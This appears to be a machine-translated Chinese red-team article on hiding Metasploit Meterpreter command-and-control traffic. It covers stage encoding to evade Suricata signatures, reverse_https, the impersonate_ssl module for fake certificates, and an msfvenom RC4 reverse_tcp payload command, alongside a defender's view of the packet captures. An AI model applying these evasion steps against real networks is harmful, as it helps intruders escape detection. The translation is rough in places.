我想強調Metasploit,因為它被滲透測試人員、紅隊隊員廣泛使用和熟知,但也被包括FIN 組在內的許多威脅參與者使用。有時我覺得人們可能會低估這個框架的使用,那你就錯了。

這次我們將扮演紅隊操作員或威脅參與者的角色,我們將經歷通常包括反取證的入侵過程與 TA0005 和 TA0011 戰術(防御規避和指揮與控制)相關。

這是一個示例包含一個 PowerShell 腳本來生成反向 shell 連接。在此活動檢查流量之后,我們能通過流量檢測工具識別會話期間所有已執行的命令。

在上圖中,我們可以輕松地以明文形式發現發送和接收的命令,揭示可能由連接到網絡中 SIEM 的 IDS、TAP/端口鏡像設備記錄的入侵活動。

在下一個示例中,我們將從兩個角度分析使用Meterpreter等代理時會發生什么。

這些是用于第一個測試的選項:

現在的問題是這些命令是否可見,以及可以從 C2 活動中發現哪些元素。現在讓我們在初始階段啟動后檢查流量。

在 TCP 握手之后,我們觀察到成功的通信正在進行。在 TCP 流中,我們可以看到一個 HTTP GET 請求來下載一個包含非常有趣數據的文件。

我們可以觀察到包含MZ 標頭后跟DOS存根的資源的可能異常路徑。如果我們繼續查看 HTTP 響應中的數據,有一個字符串(在上圖中不可見)可以確認發生了什么:二進制文件中對metsrv.dll的引用,這表明此活動是文件下載Metasploit的Meterpreter

但是,如果我們繼續觀察流量,我們會注意到即使活動是連續的,也沒有觀察到有價值的數據。

如果這是一個 HTTP 暫存器,為什么會發生這種情況?如果這是 HTTP,那么數據也應該像第一張圖片一樣可見,對吧?下載 Meterpreter 后,使用反射注入(T1055)將其加載到內存中,并在執行后metsrv對套接字執行 SSL 協商,這意味著即使攻擊者使用reverse_tcp有效負載,流量也會默認加密。

在攻擊者的控制臺中,Meterpreter工作正常,如下所示

在大多數情況下,如果一個 IDS 正在運行,這個活動就會很快被檢測到,這意味著作為攻擊者我們會發出警報,而且我們可能會失去在兩個主機中的存在。

但是,在不使用其他模塊的情況下,有一個選項可以隱藏我們正在下載包含Meterpreter的二進制文件這一事實,使用我們的multi/handler模塊上的以下選項,命名為stageencoderenablestageencoding,我們將在下一個測試中使用如下。

交付第一階段后,讓我們檢查網絡流量捕獲并觀察在傳輸Meterpreter dll 過程中發生了什么變化。

相同的相應階段現在使用對防御者無用的數據進行編碼,以識別從 IP 地址 10.16.4.192 下載的內容,換句話說,這意味著在這種情況下,攻擊者將能夠繞過旨在攻擊的suricata簽名在Meterpreter上,使我們的頻道更安全,并減少通過網絡命中被檢測到的機會。

當然,Metasploit提供了比 TCP reverse_shellMeterpreter reverse_tcp更安全的不同模塊,但是這些模塊非常方便,因為生成的 shellcode 的大小和使用的 API 調用來使用套接字進行通信(TCP)而不是依賴于HTTP 流量。

通常用于逃避網絡檢測的選項之一是 TLS,我們在Metasploit中也有一個有效負載。模塊reverse_https使用Metasploit創建的自簽名證書或自定義證書來建立 TLS 通信。注意:數據已加密,但請記住從未驗證過。

檢查的流量顯示它在 SSL 握手后立即開始。然而,在這種情況下,我們會留下精心制作默認證書的痕跡,這些證書也可以進行調查,這可能會導致基礎設施或受到 IDS/IPS 簽名的攻擊。

要使用不同的證書,作為攻擊者,我們可以購買一個或使用自簽名證書,但Metasploit包含一個名為impersonate_ssl的有用輔助模塊,我們可以在其中提供不同的設置來創建假證書:

避免使用 SSL 證書和模擬的可能風險的另一個選項是使用惡意軟件作者通常用來逃避檢測的不同 C2 通道:使用RC4 加密流量。

Metasploit RC4 模塊包含不同的選項(bind、reverse_tcp 等),其中包括使用此算法來加密流量。這些模塊包括對x86x64上的Meterpreter的支持,shell (cmd) 等。

在此示例中,我們將使用Meterpreter 反向 tcp有效負載來測試我們的規避能力。要創建第一個 stager,msfvenom需要以下選項:


msfvenom -p windows/meterpreter/reverse_tcp_rc4 rc4password= LHOST= LPORT= -f  -o rc4tes t

在攻擊者機器上,正確設置處理程序需要以下選項:

正如我們所看到的,這些選項是常用的,唯一需要的額外選項是密碼,可以使用命令“set RC4PASSWORD yourpassword”來設置

確保在 stager 和 handler 中正確設置了密碼,否則通信將失敗并消耗受害者主機上的資源,這可能會引發警報。

在執行我們的初始階段后,Meterpreter被成功下載并執行,允許我們運行命令。但是,交通情況如何?我們是否正確隱藏了活動?

從防御者的角度來看,檢查這些流量非常令人失望,因為這只是 TCP 流量、隨機字節,從取證的角度來看,這里沒有任何有用的東西。

如果作為攻擊者,我們從網絡角度(初始下載)使第一個 stager 無法檢測,例如在具有 HTTPS、網站、CDN 等的網絡服務器中提供它。如果有效負載是我們的通信呼叫回家的機會很高針對目標 AV 進行測試,或者如果主機不使用一個。多個選項可用于僅使用Metasploit執行規避,無需進行花哨的修改。

從防守者的角度來看,這就是結束了嗎?當然不是。防火墻、代理和其他設備能夠執行深度數據包檢測,即使流量被加密,藍隊也能識別威脅(僅限 TLS,對于 RC4 流量,深度數據包檢測不起作用)。

了解網絡中的內容(設備、應用程序等)也將有助于在查看網絡捕獲和日志時識別環境中的異常流量。